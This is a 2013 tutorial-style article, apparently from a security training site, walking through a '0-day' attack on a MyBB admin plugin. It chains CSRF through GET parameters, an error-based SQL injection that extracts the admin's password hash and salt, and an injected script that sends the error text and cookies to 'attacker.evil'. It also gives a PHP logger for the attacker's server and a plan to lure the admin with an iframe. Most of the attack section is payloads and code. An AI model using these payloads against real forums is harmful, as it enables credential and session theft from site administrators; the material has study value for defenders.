Hacking

Hacking MYBB with CSRF

Adrian Birsan
June 5, 2013 by
Adrian Birsan

1) Some theory

I chose an admin-panel plugin, meaning, normally, only the admin will be able to access its functionalities. This is why the exploitation of the vulnerability is quite tricky though.

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Owing to the fact that only the admin can access the plugin, we must force him to do so to be able to inject payloads. And there's only one way to do that: Cross Site Request Forgery or CSRF.

As a popular forum CMS, MyBB obviously takes measures against CSRF vulnerabilities, and this is true in the MyBB core. But one sand of grain can disturb this mechanism: the anti-CSRF token only checks POST variables, whereas the $mybb->input can be filled with GET variables. Thus, a GET request with user input in the URL can easily pass through the anti-CSRF security.

Note: This is only true for plugins. The MyBB admin panel can only send variables in POST.

In fact, the only way to check if the variables come from POST is to check $mybb->request (set to "post" if it's a post request). If there is such a verification, you can be sure that your request won't pass the filter.

So okay, with a simple link to the admin, we can now inject the payload. But, how can we see the result of the payload?

The admin injects the payload through our CSRF exploit. But when it's injected, the result is only showed to the one who sent the payload, which we're going to hide). So the problem is, how do we get back the result of our SQL injection?

Actually, the answer is simple: Cross Site Scripting or XSS. As you probably know, an SQL query can return anything you want. A simple SELECT 'dump datas', will return 'dump datas'. If we replace 'dump datas' with HTML code and JavaScript, it will be returned by the server, displayed on the page, and executed by the browser.

Consequently, we can inject our payload through a CSRF, and once it's injected, it returns the password of the admin. A tiny JavaScript payload can parse the page to find the password of the admin and redirect the current page to a PHP page (owned by the attacker) which will log the password.

It sounds like a dirty way of exploitation, right?

2) There we go

I hope you understood what I said.

Now I'm going to exsql this fast, because this part isn't really interesting when you get the theory.

The vulnerability:

PHP Code:

[php]

foreach($mybb->input['usergroups'] as $usergroup) {

$query = $db->query("SELECT u.* FROM ".TABLE_PREFIX."users u WHERE 1=1 AND (u.usergroup IN (".$usergroup.")

OR CONCAT(',',additionalgroups,',') LIKE '%,".$usergroup.",%')");

[/php]

When you look at the code above, you can see that you need a few inputs to access this code's part.

So, the URL will look like this:

Code:

[sql]

[site & path]admin/index.php?module=user-forcepwchange&action=forcepwchange_do_force_group&usegroups[]=1&usergroups[]=[SQL INJECTION]

[/sql]

Now, let's focus on the query:

Code:

[sql]

SELECT u.* FROM ".TABLE_PREFIX."users u WHERE 1=1 AND (u.usergroup IN (".$usergroup.") OR CONCAT(',',additionalgroups,',') LIKE '%,".$usergroup.",%')

[/sql]

It's a simple SELECT query. That's why we can believe that a simple UNION based injection is possible. However, the result of the query is used on an update query and is not displayed. Thereby, we have only one solution: error-based injection (or double query injection, as you like).

I'm not here to teach you how to do error-based injection, so I'll only show you the finished injection:

Code:

[sql]

select 1 from (select count(*),concat((select concat(password, 0x3a, salt) FROM mybb_users LIMIT 0,1 ),0x7e, floor(rand(0)*3)) as w from information_schema.tables group by w) a)-- -

[/sql]

The entire query should thus look like this:

Code:

[sql]

SELECT u.* FROM ".TABLE_PREFIX."users u WHERE 1=1 AND (u.usergroup IN (select 1 from (select count(*),concat((select concat(password, 0x3a, salt) FROM mybb_users LIMIT 0,1 ),0x7e, floor(rand(0)*3)) as w from information_schema.tables group by w) a)-- -

[/sql]

It will return:

Code:

[sql]

1062 - Duplicate entry '[MD5 hash]:[salt]~1' for key 'group_key'

[/sql]

We now have the CSRF structure and the SQL injection.

Let's go for the XSS.

Earlier, I said that the XSS must be returned by the SQL injection. However, I lied. The error-based injection limits our returned chars, and it's too tiny for a URL redirection. Fortunately, MyBB is definitely always present when we need some help. When an SQL error occurs, MyBB returns the error AND the SQL query which just failed. Thus, we can write our JS payload at the end of the query (which is commented and not executed). It will then be displayed by the MyBB error handler.

Now, our injection looks like this:

Code:

[sql]

SELECT u.* FROM ".TABLE_PREFIX."users u WHERE 1=1 AND (u.usergroup IN (select 1 from (select count(*),concat((select concat(password, 0x3a, salt) FROM mybb_users LIMIT 0,1 ),0x7e, floor(rand(0)*3)) as e from information_schema.tables group by e) a)-- - <script>window.location="http://attacker.evil/poc.php?c=".concat(document.getElementById('error').innerHTML).concat(document.cookie)</script>

[/sql]

We take the cookies at the same time; it can only be beneficial.

So, the entire exploit now looks like this:

Code:

[sql]

[site & path]admin/index.php?module=user-forcepwchange&action=forcepwchange_do_force_group&usegroups[]=1&usergroups[]=SELECT u.* FROM ".TABLE_PREFIX."users u WHERE 1=1 AND (u.usergroup IN (select 1 from (select count(*),concat((select concat(password, 0x3a, salt) FROM mybb_users LIMIT 0,1 ),0x7e, floor(rand(0)*3)) as e from information_schema.tables group by e) a)-- - <script>window.location="http://attacker.evil/poc.php?c=".concat(document.getElementById('error').innerHTML).concat(document.cookie)</script>

[/sql]

Yep, it's pretty violent.

Of course you will need to create a poc.PHP file on your server with a code like this:

PHP Code:

[php]

<?php file_put_contents('pwnd', base64_encode($_SERVER['QUERY_STRING'])); ?>

[/php]

Now all you need to do is to send a page with the link in an iframe to the forum's admin and you'll get his password.

Though this exploit needs a tiny interaction with the victim, it's still a pretty nice 0-day.

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

Thanks for reading.

Adrian Birsan
Adrian Birsan

Adrian Birsan is a freelance web developer and pentester. Says he: "Technology has always been something which captivates me; I like computer security and software development. I am a pentester on my free time and also own a blog where I post useful information. I am a big supporter of Freedom of Speech and ... I play the guitar m/ " His blog can be found at http://softpill.eu/